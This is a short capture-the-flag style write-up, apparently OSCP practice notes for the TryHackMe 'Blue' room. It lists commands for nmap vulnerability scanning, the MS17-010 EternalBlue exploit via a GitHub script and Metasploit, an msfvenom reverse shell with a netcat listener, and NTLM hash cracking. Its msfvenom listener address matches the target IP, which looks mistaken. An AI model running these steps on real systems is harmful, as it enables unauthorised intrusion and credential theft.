OSCP Preparation TryHackMe 02: Blue

Notification: This is not a technical step-by-step guide. 

Summary

a. Initial Access

    N/A

b. User Access

        N/A

c. Root Access

    smb-vuln-ms17-010

Tips
a. nmap vuln scan can be helpful
b. MSF command "hashdump" can get hash file
c. use John and hashcat to crack the NTLM hash file

Procedure
1. Port Scan
    Nmap
    $nmap -A -p- -T4 10.10.101.135
    $nmap -Pn -n -sV --script vuln -oN vuln.txt 10.10.101.135


2. Exploit
    Python Script
     Get Exploit from Github
$git clone https://github.com/helviojunior/MS17-010.git
Generate the shell
        $msfvenom -p windows/shell_reverse_tcp LHOST=10.10.101.135 LPORT=8888 -f exe >                shell.exe
        Run Netcat
$nc -nlvp 8888
Exploit
        $python send_and_execute.py 10.10.101.135 shell.exe

    MSF
        >use exploit/windows/smb/ms17_010_eternalblue
        >show options
        >set RHOSTS 10.10.101.135 
        >set LHOST tun0
        >run

3. Crask the NTLM Hash
    John
    $john --format:NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    
    Hashcat
    $hashcat -a 0 -m 1000 hashforcrack.txt rockyou.txt --force







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